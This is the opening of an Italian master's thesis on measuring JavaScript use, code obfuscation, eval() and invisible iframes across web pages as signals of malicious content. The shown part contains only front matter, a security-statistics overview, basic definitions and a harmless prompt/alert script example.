90
UNIVERSIT ` A DEGLI STUDI DI TRIESTE FACOLT ` A DI INGEGNERIA Corso di laurea specialistica in Ingegneria Informatica Tesi di laurea in Complementi di Reti di Calcolatori Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web LAUREANDA RELATORE Sara Zambon Chiar.mo Prof. Alberto Bartoli CORRELATORE Ing. Eric Medvet Anno Accademico 2008/2009

Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Embed Size (px)

DESCRIPTION

 

Citation preview

Page 1: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

UNIVERSITA DEGLI STUDI DI TRIESTEFACOLTA DI INGEGNERIA

Corso di laurea specialistica in Ingegneria Informatica

Tesi di laurea inComplementi di Reti di Calcolatori

Progetto e realizzazione di un sistemaper la caratterizzazione su larga scala

dei codici JavaScript nel Web

LAUREANDA RELATORE

Sara Zambon Chiar.mo Prof. Alberto Bartoli

CORRELATORE

Ing. Eric Medvet

Anno Accademico 2008/2009

Page 2: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Page 3: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Ai miei genitori

Page 4: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Page 5: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Indice

1 Introduzione 1

2 Script JavaScript frame e iframe 3

2.1 Stato attuale di sicurezza nel Web . . . . . . . . . . . . . . . . . . . . . . 3

2.2 Script . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4

2.2.1 L’elemento script . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

2.3 JavaScript . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

2.3.1 Le caratteristiche di JavaScript . . . . . . . . . . . . . . . . . . . . 6

2.3.1.1 Esempio di codice JavaScript . . . . . . . . . . . . . . . . 6

2.4 Frame . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7

2.4.1 L’elemento frame . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8

2.4.1.1 Esempio di un documento composto da tre frame . . . . 8

2.5 Inline Frame . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

2.5.1 L’elemento iframe . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

2.5.1.1 Esempio di un iframe . . . . . . . . . . . . . . . . . . . . 9

2.6 Quesiti preliminari allo studio . . . . . . . . . . . . . . . . . . . . . . . . . 10

2.6.1 I cinque quesiti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

3 Il dataset 13

3.1 Le fonti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13

3.1.1 La fonte per le pagine Normal . . . . . . . . . . . . . . . . . . . . . 13

3.1.1.1 Alexa Top Sites . . . . . . . . . . . . . . . . . . . . . . . 14

3.1.2 La fonte per le pagine Malicious . . . . . . . . . . . . . . . . . . . 14

3.1.2.1 Malware Domain List . . . . . . . . . . . . . . . . . . . . 14

3.1.3 La fonte per le pagine Interesting . . . . . . . . . . . . . . . . . . . 15

3.2 Metodologia di scaricamento delle pagine . . . . . . . . . . . . . . . . . . 15

3.2.1 Definizioni generali . . . . . . . . . . . . . . . . . . . . . . . . . . . 15

3.2.2 Nostre definizioni . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16

3.2.3 Goldrake . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17

3.3 Dimensione complessiva del dataset . . . . . . . . . . . . . . . . . . . . . . 17

v

Page 6: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

INDICE vi

4 Metodologia di analisi 19

4.1 Suddivisione del dataset . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19

4.1.1 La tabella degli script . . . . . . . . . . . . . . . . . . . . . . . . . 19

4.1.1.1 Lo script: dalla pagina alla tabella . . . . . . . . . . . . . 21

4.1.2 La tabella dei frame e degli iframe . . . . . . . . . . . . . . . . . . 23

4.1.2.1 L’iframe: dalla pagina alla tabella . . . . . . . . . . . . . 24

4.2 Analisi sugli script e sugli iframe . . . . . . . . . . . . . . . . . . . . . . . 25

4.2.1 Proprieta estratte dagli script . . . . . . . . . . . . . . . . . . . . . 25

4.2.2 Proprieta estratte dai frame e dagli iframe . . . . . . . . . . . . . . 26

5 Offuscamento 27

5.1 Definizione di offuscamento . . . . . . . . . . . . . . . . . . . . . . . . . . 27

5.2 Programmi atti all’offuscamento . . . . . . . . . . . . . . . . . . . . . . . 28

5.3 Programmi per offuscare codice JavaScript . . . . . . . . . . . . . . . . . . 28

5.3.1 Primo esempio di funzionamento di un JavaScript obfuscator . . . 29

5.3.2 Secondo esempio di funzionamento di un JavaScript obfuscator . . 30

5.4 JavaScript come veicolo di contenuti maligni . . . . . . . . . . . . . . . . . 31

5.5 Script JavaScript offuscati e maligni . . . . . . . . . . . . . . . . . . . . . 32

5.6 Eval, cardine nell’offuscamento automatico . . . . . . . . . . . . . . . . . 34

5.6.1 Funzioni alla base dell’offuscamento . . . . . . . . . . . . . . . . . 34

5.6.1.1 Semplice tecnica di deoffuscamento . . . . . . . . . . . . 34

5.6.2 Alternative alla funzione eval() . . . . . . . . . . . . . . . . . . . 34

5.7 Esempi di codici offuscati . . . . . . . . . . . . . . . . . . . . . . . . . . . 35

5.7.1 Primo esempio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36

5.7.2 Secondo esempio . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37

5.8 Iframe invisibili e maligni . . . . . . . . . . . . . . . . . . . . . . . . . . . 38

5.8.1 Caratteristiche comuni ad iframe maligni . . . . . . . . . . . . . . 38

5.9 La nostra analisi sull’offuscamento . . . . . . . . . . . . . . . . . . . . . . 39

5.9.1 Proprieta offuscate degli script . . . . . . . . . . . . . . . . . . . . 40

5.9.1.1 Definizione di sequenza offuscata . . . . . . . . . . . . . . 40

5.9.2 Il concetto di proprieta offuscata . . . . . . . . . . . . . . . . . . . 41

5.9.3 Esempi di proprieta offuscate . . . . . . . . . . . . . . . . . . . . . 42

5.9.3.1 Funzioni con nome offuscato . . . . . . . . . . . . . . . . 42

5.9.3.2 Varibili con nome offuscato . . . . . . . . . . . . . . . . . 42

5.9.3.3 Variabile con argomento offuscato . . . . . . . . . . . . . 44

5.9.3.4 document.write() con argomento offuscato . . . . . . . 44

5.9.3.5 iframe con argomento offuscato . . . . . . . . . . . . . . 44

5.9.3.6 iframe invisibile . . . . . . . . . . . . . . . . . . . . . . . 44

5.9.3.7 Stringa con argomento offuscato . . . . . . . . . . . . . . 45

5.9.3.8 Stringa lunga priva di punteggiatura . . . . . . . . . . . . 45

5.9.3.9 eval() con argomento offuscato . . . . . . . . . . . . . . 45

5.9.3.10 unescape() con argomento offuscato . . . . . . . . . . . 46

5.9.4 Il test con gli analisti . . . . . . . . . . . . . . . . . . . . . . . . . . 46

Page 7: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

vii INDICE

5.10 Due criteri di offuscamento per gli script . . . . . . . . . . . . . . . . . . . 47

6 Analisi 516.1 Caratterizzazione generale . . . . . . . . . . . . . . . . . . . . . . . . . . . 51

6.1.1 Caratterizzazione a livello pagina . . . . . . . . . . . . . . . . . . . 516.1.2 Caratterizzazione a livello script . . . . . . . . . . . . . . . . . . . 53

6.2 Inclusione di script da url diversi . . . . . . . . . . . . . . . . . . . . . . . 536.3 Massima profondita di inclusione degli script . . . . . . . . . . . . . . . . 54

6.3.1 Massima profondita osservata a livello pagina . . . . . . . . . . . . 546.3.2 Massima profondita osservata a livello script . . . . . . . . . . . . 56

6.4 Utilizzo di eval() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 576.4.1 Diffusione generale dell’utilizzo di eval() . . . . . . . . . . . . . . 576.4.2 Diffusione dell’utilizzo di eval() con argomento lungo . . . . . . . 586.4.3 Diffusione dell’utilizzo di eval() con argomento offuscato . . . . . 59

6.5 Utilizzo di iframe sospettosamente piccoli . . . . . . . . . . . . . . . . . . 596.6 Utilizzo di tecniche di offuscamento . . . . . . . . . . . . . . . . . . . . . . 60

6.6.1 Diffusione dell’utilizzo di unescape() . . . . . . . . . . . . . . . . 626.6.2 Relazioni fra le features di offuscamento delle proprieta . . . . . . 63

7 Conclusioni e sviluppi futuri 65

A Il codice 69A.1 Oggetto PageAnalizer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69

A.1.1 Metodi dell’oggetto PageAnalizer . . . . . . . . . . . . . . . . . . 69A.2 Oggetto ScriptAnalizer . . . . . . . . . . . . . . . . . . . . . . . . . . . 70

A.2.1 Metodi dell’oggetto ScriptAnalizer . . . . . . . . . . . . . . . . . 70A.3 Oggetto FrameAndIframeAnalizer . . . . . . . . . . . . . . . . . . . . . . 71

A.3.1 Metodi dell’oggetto FrameAndIframeAnalizer . . . . . . . . . . . 71

Bibliografia e siti web consultati 73

Ringraziamenti 75

Page 8: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Page 9: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Elenco dei codici

2.1 Esempio di codice JavaScript . . . . . . . . . . . . . . . . . . . . . . . . . 6

2.2 Esempio di un documento composto da tre frame . . . . . . . . . . . . . . 8

2.3 Esempio di un iframe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

4.1 Codice dello script . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21

4.2 Codice dello script . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22

4.3 Codice dell’iframe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24

5.1 Frammento di codice JavaScript da offuscare . . . . . . . . . . . . . . . . 29

5.2 Stesso frammento di codice JavaScript dopo l’offuscamento . . . . . . . . 29

5.3 Frammento di codice JavaScript da offuscare . . . . . . . . . . . . . . . . 30

5.4 Stesso frammento di codice JavaScript dopo l’offuscamento . . . . . . . . 31

5.5 Codice dello script presente nelle pagine infette . . . . . . . . . . . . . . . 33

5.6 Creazione dinamica di una variabile tramite la funzione eval() . . . . . . 35

5.7 Creazione dinamica di una variabile tramite l’oggetto window . . . . . . . 35

5.8 Codice dello script di terzo livello . . . . . . . . . . . . . . . . . . . . . . . 36

5.9 Codice dello script di secondo livello . . . . . . . . . . . . . . . . . . . . . 36

5.10 Codice dello script di primo livello . . . . . . . . . . . . . . . . . . . . . . 36

5.11 Iframe dalle dimensioni nulle . . . . . . . . . . . . . . . . . . . . . . . . . 37

5.12 Script puntato dal precedente iframe . . . . . . . . . . . . . . . . . . . . . 37

5.13 Codice dello script deoffuscato . . . . . . . . . . . . . . . . . . . . . . . . 37

5.14 Iframe reso invisibile dalle dimensioni nulle (width=0 e height=0). . . . . 38

5.15 Iframe reso invisibile da un’unica dimesione nulla (height=0). . . . . . . . 38

5.16 Iframe di dimensioni minime e dunque difficilmente percepibile. . . . . . . 39

5.17 Iframe reso invisibile dall’attributo visibility:hidden. . . . . . . . . . . 39

5.18 Iframe non visibile perche interno a un “contenitore” <div> invisibile. . . 39

5.19 Argomento offuscato di una variabile . . . . . . . . . . . . . . . . . . . . . 44

5.20 Argomento offuscato di un document.write() . . . . . . . . . . . . . . . 44

5.21 Argomento offuscato di un iframe . . . . . . . . . . . . . . . . . . . . . . 44

5.22 iframe con gli attributi width e height nulli . . . . . . . . . . . . . . . . 44

5.23 Argomento offuscato di una stringa . . . . . . . . . . . . . . . . . . . . . . 45

5.24 Argomento offuscato di una stringa lunga . . . . . . . . . . . . . . . . . . 45

ix

Page 10: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

ELENCO DEI CODICI x

5.25 Argomento offuscato di un eval() . . . . . . . . . . . . . . . . . . . . . . 455.26 Argomento offuscato di un unescape() . . . . . . . . . . . . . . . . . . . 46

Page 11: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Elenco delle figure

2.1 Finestra visualizzata grazie allo script . . . . . . . . . . . . . . . . . . . . 7

2.2 Inserimento dei dati da inviare all’applicazione . . . . . . . . . . . . . . . 7

2.3 Finestra che si apre a seguito dell’interazione fra utente e applicazione . . 7

2.4 Pagina web composta da tre frame . . . . . . . . . . . . . . . . . . . . . . 9

2.5 Iframe ospitato all’interno di una pagina web . . . . . . . . . . . . . . . . 10

4.1 Home page di Amazon visualizzata tramite un browser . . . . . . . . . . . 22

5.1 Drive-by download a seguito di un attacco browser exploit . . . . . . . . . 40

6.1 Grafici di distribuzione sul numero di script inclusi per pagina . . . . . . . 52

6.2 Grafici di distribuzione cumulativa sulla somma delle dimensioni degliscript per pagina . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52

6.3 Grafici di distribuzione cumulativa sulla dimensione degli script in caratteri 53

6.4 Grafici di distribuzione sull’inclusione di script da domini diversi . . . . . 54

6.5 Grafici di distribuzione sulla massima profondita senza redirezioni per ilnumero di pagine . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55

6.6 Grafici di distribuzione sulla massima profondita con redirezioni per ilnumero di pagine . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55

6.7 Grafici di distribuzione sulla massima profondita senza redirezioni per lapercentuale di script calcolata sulla numero assoluto degli stessi . . . . . . 56

6.8 Grafici di distribuzione sulla massima profondita senza redirezioni per lapercentuale di script calcolata sulla dimensione degli stessi . . . . . . . . . 57

6.9 Grafico a barre sull’utilizzo di eval() . . . . . . . . . . . . . . . . . . . . 58

6.10 Grafico a barre sull’utilizzo di eval() con argomento superiore a 140caratteri . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58

6.11 Grafico a barre sull’utilizzo di eval() con argomento offuscato . . . . . . 59

6.12 Grafico di distribuzione sull’utilizzo di iframe con dimensioni minori di3px * 3px per la percentuale di pagine Normal . . . . . . . . . . . . . . . 60

xi

Page 12: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

ELENCO DELLE FIGURE xii

6.13 Grafico a barre sulla percentuale di script offuscati ricavata tramite ilclassificatore MLP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61

6.14 Grafico a barre sulla percentuale di script offuscati ricavata tramite ilclassificatore basato sulle soglie . . . . . . . . . . . . . . . . . . . . . . . . 61

6.15 Grafico a barre sull’utilizzo di unescape() . . . . . . . . . . . . . . . . . . 626.16 Grafico a barre sull’utilizzo di unescape() con argomento offuscato . . . . 626.17 Matrice dei diagrammi di dispersione . . . . . . . . . . . . . . . . . . . . . 63

Page 13: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Elenco delle tabelle

5.1 Proprieta e relative condizioni di offuscamento . . . . . . . . . . . . . . . 435.2 Percentuali di giudizi comuni associate agli script . . . . . . . . . . . . . . 485.3 Features . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 495.4 Soglie sulle features per il secondo bit di offuscamento dello script . . . . 50

xiii

Page 14: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Page 15: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Capitolo 1Introduzione

Il Web ha subito una totale trasformazione, passando da semplice infrastruttura perl’accesso a dati remoti a complesso sistema contraddistinto da una spiccata interazio-ne con l’utente. I fruitori di servizi web sono quotidianamente subissati da contenutiprovenienti dai siti visitati. Tali contenuti spesso consistono in codice che dev’essereeseguito sui sistemi client, operazione che ormai risulta essere essenziale per usufruiredelle funzionalita di cui i moderni siti sono provvisti.

Lo scenario che ne deriva puo assumere connotati inquietanti in termini di sicurezzainformatica. La navigazione fra le pagine di un affermato quotidiano online, solitamentee percepita dall’utente come un’azione sicura. Cio che forse ignora il visitatore e cheil contenuto ricevuto spesso include una mix di codici provenienti da siti terzi, verso iquali egli ripone la propria fiducia senza, tuttavia, esserne a conoscenza.

Un’ulteriore insidia per l’inconsapevole utente e rappresentata da contenuti invisibili,di solito iframe, o comunque sfuggevoli alla vista, i quali, ad esempio, sono in grado diinoltrare la navigazione verso siti poco raccomandabili se non addirittura diffusori disoftware dannoso per il sistema dell’utente.

Un altro aspetto cruciale in questo panorama e rappresentato dall’offuscamento. Icontenuti inviati ai vari client possono comprendere anche frammenti di codice offuscato,quindi codice deliberamente modificato al fine di renderne ardua l’analisi. Come verrameglio illustrato lungo questo elaborato, alla base dell’offuscamento del codice risiedo-no obiettivi discrepanti: dalla protezione della paternita del codice, all’occultazione dicontenuti maligni.

Prima di iniziare l’intera trattazione, si propone un esempio che presenta uno scenarioin cui sono presenti tutti gli aspetti appena accennati. L’esempio e tratto dal GoogleTechnical Report [1] pubblicato nel 2008. All’interno di una pagina web, appartenentead un sito di una stazione radio olandese, durante la loro indagine, i ricercatori Googlerilevarono la presenza di un’inserzione pubblicitaria che rimandava ad un sito tedesco.Tramite una porzione di codice JavaScript, l’utente veniva inoltrato verso un altro sitopubblicitario negli Stati Uniti che a sua volta reindirizzava la navigazione verso i PaesiBassi. Il viaggio dell’utente procedeva fino ad un nuovo sito, sempre nella stessa zona, dal

1

Page 16: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

1. Introduzione 2

quale veniva scaricato uno script offuscato che puntava ad un’ulteriore script localizzatoin Austria. Quest’ultimo indirizzava il browser dell’utente, tramite una catena di iframe,verso il sito finale che provocava lo scaricamento automatico di sofware dannoso sulsistema client.

L’estrema rilevanza di questi fenomeni nel Web e le enormi dimensioni potenzialmen-te raggiungibili dai loro effetti in termini di sicurezza, mettono in risalto l’importanza delnostro lavoro di ricerca che ha avuto come obiettivo la caratterizzazione dei fatti citati.Nel panorama odierno l’attenzione di cui essi godono e talmente modesta da sottostimar-ne l’importanza; infatti, ci sono ancora molte domande alle quali non e stato risposto inmaniera adeguata. Ad esempio, non si trovano studi che chiariscano quanto sia diffusol’utilizzo del codice offuscato all’interno delle pagine web o che relazione sussista, nelcaso ve ne sia una, fra offuscamento e pagine sospette oppure ancora se l’offuscamento siriscontri piu frequentemente nei codici inclusi da altri domini. Una conoscenza lacunosaavvolge anche questioni che sorgono attorno alla diffusione dell’impiego dei contenutiinvisibili precedentemente menzionati oppure di eval, una discussa funzione JavaScript,potenzialmente in grado di compiere qualsiasi azione e per questo assisa al ruolo di musaispiratrice da una folta schiera di criminali informatici.

Per tentare di fornire una risposta a queste domande, abbiamo scelto di condurre lenostre analisi su un migliaio di pagine collezionate in maniera oculata al fine di ottenereuna plausibile rappresentazione del Web. Da ciascuna pagina abbiamo prelevato script,frame e iframe contenuti nella pagina stessa o richiamati da fonti esterne, ottenendo diconseguenza i tre elementi cardine della nostra indagine. Durante lo scaricamento dellepagine, per ognuno dei tre elementi, oltre al puro codice, si e tenuto traccia di tutti gliURL attraversati per raggiungere effettivamente quel contenuto.

Una volta completato l’intero download, abbiamo dato avvio al nostro studio estraen-do da ciascun codice in nostro possesso un set di proprieta relative, ad esempio, alla defi-nizione di funzioni da parte del programmatore, oppure all’utilizzo di particolari costruttio funzioni JavaScript. Analizzando e compiendo specifiche elaborazioni sui dati derivatidallo scaricamento e su quelli estratti dai vari codici, abbiamo cercato di rispondere alledomande iniziali.

Page 17: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Capitolo 2Script JavaScript frame e iframe

Il crescente aumento di applicazioni online che permettono uno spiccato livello d’in-terazione con l’utente, come ad esempio blog, forum, chat e sistemi quali Wikipedia,Youtube, Facebook, Myspace, Twitter, Gmail, Wordpress, Tripadvisor, ha portato conse l’inevitabile incremento dell’utilizzo di script, frammenti di codice che consentonoconcretamente l’interazione.

L’utilizzo di queste tecniche nasconde purtoppo un rovescio della medaglia. Infatti,se da un lato questi strumenti sono forieri di vantaggi notevoli, i quali hanno dato vitaa una nuova era per il Web, che viene definita 2.0 per marcare il confine tra l’accezionestatica precedente e quella dinamica attuale, dall’altro offrono nuovi mezzi per alcunitipi di attacchi informatici.

Da queste considerazioni ha preso spunto la nostra attivita di ricerca, la cui materiad’indagine e rappresentata da script JavaScript, frame e iframe.

Nella prima parte del capitolo, dopo una panoramica sulla situazione attuale intermini di sicurezza informatica, si forniscono al lettore alcune definizioni introduttiveall’argomento; di seguito a questa, vengono esposti i quesiti attorno a script JavaScript,frame e iframe, dai quali ha avuto origine l’intero studio.

2.1 Stato attuale di sicurezza nel Web

Prima di entrare nel vivo di script, frame e iframe, in questa sezione si elencano alcunifra i risultati della ricerca “Websense Security Labs, State of Internet Security, Q1-Q22009”[9], effettuata dall’azienda Websense1 sullo stato di sicurezza nel web e pubblicatanel settembre 2009:

1Websense, Inc.: azienda californiana che opera nel settore delle tecnologie integrate di protezioneWeb, email e Dati. L’azienda produce soluzioni che mirano a bloccare i codici malevoli, a impedire laperdita di informazioni confidenziali e a configurare policy di sicurezza sull’utilizzo di Internet. Ogniora Websense R© Security LabsTM ThreatSeekerTM Network analizza oltre 40 milioni di siti Web e diecimilioni di email per identificare contenuti indesiderati e malicious code.

3

Page 18: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

2. Script JavaScript frame e iframe 4

• Websense R© Security LabsTM ha registrato una crescita del 233% del numero disiti Internet malicious nel corso degli ultimi sei mesi e una crescita del 671% diquesti nell’ultimo anno;

• nella prima meta del 2009, il 77% dei siti Web con malicious code erano costituitida siti Internet affidabili che sono stati compromessi. Questa percentuale elevata estata causata in particolare negli ultimi sei mesi da alcuni attacchi quali Gumblar(vedi sezione 5.5 a pagina 32), Beladen e Nine Ball che hanno compromesso sitiWeb considerati altamente affidabili attraverso una serie di attacchi a catena;

• i siti Web 2.0 che consentono contenuti generati dagli utenti finali sono un targetimportante per i cybercriminali e gli spammer. La tecnologia Websense DefensioTM

ha consentito ai Websense R© Security LabsTM di stabilire che il 95% dei commentigenerati dagli utenti di blog, chat room e bacheche sono spam2 o malicious.

• gli sforzi dei siti Web 2.0 di rendere le proprie pagine sicure sono risultati nonefficaci. La ricerca Websense infatti dimostra che i tool di sicurezza utilizzati dasiti quali YouTube e BlogSpot sono dal 65% al 75% inefficaci nel proteggere gliutenti Web da contenuti pericolosi e rischi relativi alla sicurezza.

• il 69% di tutte le pagine Internet con contenuti classificati come inappropriati(contenuti pornografici, gioco d’azzardo, droghe) contenevano almeno un link ma-licious. Il dato diventa ancora piu significativo con il 78% dei nuovi siti Internetscoperti nella prima meta del 2009 che contiene almeno un link pericoloso;

• Websense R© Security LabsTM ha riscontrato che il 37% degli attacchi Web hannol’obiettivo di sottrarre dati e informazioni personali fondamentali degli utenti;

• il Web continua ad essere il vettore preferito per il furto di dati. Nella prima metadel 2009 i Websense Security Labs hanno constatato che il 57% degli attacchi cheavevano come obiettivo il furto di dati erano stati condotti attraverso la Rete;

• la convergenza di attacchi misti Web ed email continua a crescere. SecondoWebsense R© Security LabsTM, l’85,6% di tutta la posta indesiderata in circolazionecontiene link a siti di spam e/o a siti Web pericolosi;

• solamente a giugno il numero totale di email che contenevano virus e cresciuta del600% rispetto al mese precedente.

2.2 Script

Uno script lato client e un programma che puo accompagnare un documento HTMLoppure essere incorporato direttamente in esso. Il programma viene eseguito sulla mac-china client quando viene caricato il documento, o in un secondo tempo, per esempio

2Spam: messaggi indesiderati generalmente a scopi pubblicitari. Con spamming si indica l’invio digrandi quantita di questo genere di messaggi solitamente tramite email.

Page 19: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

5 JavaScript

quando viene attivato un collegamento. Gli script offrono ai progettisti alcuni mezzi perestendere i documenti HTML in maniera attiva e interattiva.

Le caratteristiche di uno script possono essere cosı elencate:

• gli script possono essere attivati da eventi che coinvolgono il documento, come ilcaricamento, lo scaricamento, la focalizzazione di elementi, movimenti del mouse,e cosı via;

• gli script possono essere collegati a controlli, come i bottoni, per produrre glielementi di interfaccia;

• gli script possono processare i dati appena vengono immessi dall’utente all’internodi form.

2.2.1 L’elemento script

Il tag <script> pone uno script all’interno di un documento. Gli attributi pricipali diquesto tag sono:

• src: attributo che specifica la locazione di uno script esterno al documento, quindil’URL3 tramite cui recuperare lo script; se l’attributo non e impostato, il contenutodello script e definito all’interno dell’elemento stesso;

• type: attributo che specifica il linguaggio di scripting per il contenuto dell’elemen-to. Il linguaggio di scripting e indicato come un tipo di contenuto (per esempiotype="text/javascript");

• language: valore che contiene l’identificatore del linguaggio di scripting; poiche gliidentificatori non sono standard, questo attributo e stato “disapprovato” in favoredell’attributo type.

2.3 JavaScript

JavaScript e un linguaggio di scripting orientato agli oggetti4 comunemente utilizzatonei siti web.

Fu originariamente sviluppato da Brendan Eich della Netscape Communications conil nome di Mocha e successivamente di LiveScript, ma in seguito e stato rinominatoJavaScript ed e stato formalizzato con una sintassi piu vicina a quella del linguaggioJava di Sun Microsystems. JavaScript e stato standardizzato per la prima volta tra il1997 e il 1999 dalla ECMA con il nome ECMAScript. L’ultimo standard, del dicembre

3URL: Uniform Resource Locator, sequenza di caratteri che identifica univocamente l’indirizzo di unarisorsa in Internet.

4Programmazione orientata agli oggetti : paradigma di programmazione che prevede di raggrupparein un’unica entita (la classe) sia le strutture dati che le procedure che operano su di esse, creando perl’appunto un oggetto software dotato di proprieta (dati) e metodi (procedure) che operano sui dati dellostesso.

Page 20: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

2. Script JavaScript frame e iframe 6

1999, e ECMA-262 Edition 3, e corrisponde a JavaScript 1.5. E anche uno standardISO.

2.3.1 Le caratteristiche di JavaScript

La caratteristica principale di JavaScript e quella di essere un linguaggio interpretato.Il codice quindi non viene compilato bensı c’e un interprete (in JavaScript lato clientesso e incluso nel browser) che esegue riga per riga, a tempo di esecuzione, quantotrascritto nello script. JavaScript presenta quindi tutte le caratteristiche di un normalelinguaggio interpretato con una sintassi analoga a quella di un linguaggio compilato (essae relativamente simile a quella del C, del C++ e del Java), quindi con la possibilita diutilizzare funzionalita tipiche dei linguaggi di programmazione ad alto livello (strutturedi controllo, cicli, ecc.) e con in piu anche la potenzialita di definire strutture piucomplesse, vicine a quelle adottate nei normali linguaggi orientati agli oggetti (definizionedi costruttori, creazione di prototipi, istanziazione di oggetti).

Poiche il linguaggio JavaScript non ha propri costrutti di input o output, un in-terprete JavaScript si basa su un programma ospite in cui e integrato. Ci sono moltiprogrammi ospiti di questo tipo, di cui quelli relativi al Web sono gli esempi piu noti.

JavaScript, se integrato in un web browser, si collega tramite interfacce DOM5 alleapplicazioni, specialmente al lato server (web server) e al lato client (browser) delleapplicazioni internet. Molti siti web usano la tecnologia JavaScript lato client per crearepotenti applicazioni web dinamiche.

Gli standard DOM imposti dal W3C6 non sempre vengono rispettati dai vari browser:browser diversi (anche a seconda del loro motore di rendering) espongono diversi oggettio metodi allo script, quindi, e spesso necessario implementare controlli aggiuntivi ad unafunzione JavaScript, per garantirne la compatibilita con ciascun browser. La diversitadei DOM dei browser puo essere aggirata anche attraverso l’uso dell’istruzione eval().Questa funzione nativa valuta una stringa e la esegue come se fosse codice JavaScript.

Un uso principale del JavaScript basato su web e la scrittura di piccole funzioniintegrate nelle pagine HTML che interagiscono con il DOM del browser per compieredeterminate azioni non possibili con il solo HTML statico come ad esempio controllarei valori nei campi di input, creare finestre pop-up nascondere o visualizzare determinatielementi.

2.3.1.1 Esempio di codice JavaScript

1 <script type="text/javascript">

5DOM : Document Object Model, standard ufficiale di rappresentazione dei documenti strutturaticome modello orientato agli oggetti.

6W3C : World Wide Web Consortium, associazione fondata nel 1994 da Tim Berners Lee, padre delweb, al MIT (Massachusetts Institute of Technology), in collaborazione con il CERN (OrganizzazioneEuropea per la Ricerca Nucleare), con lo scopo di sviluppare tecnologie che garantiscano l’interoperabilita(specifiche, guidelines, software e applicazioni) per guidare il World Wide Web fino al massimo del suopotenziale.

Page 21: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

7 Frame

2 function show_prompt (){

3 var name=prompt("Please enter your name","write here");

4 if (name!=null && name!=""){

5 alert("Hello " + name + "! How are you today?");

6 }

7 }

8 </script >

Codice 2.1: Esempio di codice JavaScript

Figura 2.1: Finestra visualizzata grazie allo script

Figura 2.2: Inserimento dei dati da inviare all’applicazione

Figura 2.3: Finestra che si apre a seguito dell’interazione fra utente e applicazione

2.4 Frame

Nelle pagine web si parla di frame quando una pagina e scomposta in diverse sezionitra loro indipendenti. Frame e anche il nome del tag HTML che indica ognuna di talisezioni.

I frame HTML permettono ai progettisti di presentare i documenti in visualizzazionimultiple, che possono essere finestre indipendenti o sotto finestre. Le visualizzazioni

Page 22: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

2. Script JavaScript frame e iframe 8

multiple offrono ai progettisti un modo per mantenere visibili certe informazioni, mentrealtre visualizzazioni vengono fatte scorrere o rimpiazzate. Per esempio, all’interno dellastessa finestra, un frame puo visualizzare un banner statico, il secondo un menu dinavigazione, e il terzo il documento principale che puo essere fatto scorrere verso l’altoo verso il basso, o che puo essere rimpiazzato navigando tramite il secondo frame (vediFigura 2.4).

L’obiettivo dei frame e quello di evitare di dover riscrivere interamente ogni paginain tutte le sue componenti. Cio risulta possibile suddividendo la pagina per lasciareintatti, ad esempio, i frame con banner e menu e ricaricare solamente il contenuto delframe centrale, permettendo cosı di gestire una mole di codice nettamente minore.

2.4.1 L’elemento frame

Per poter creare una pagina con i frame viene utilizzato il tag HTML <frameset> cheinizializza la struttura di una pagina con i frame.

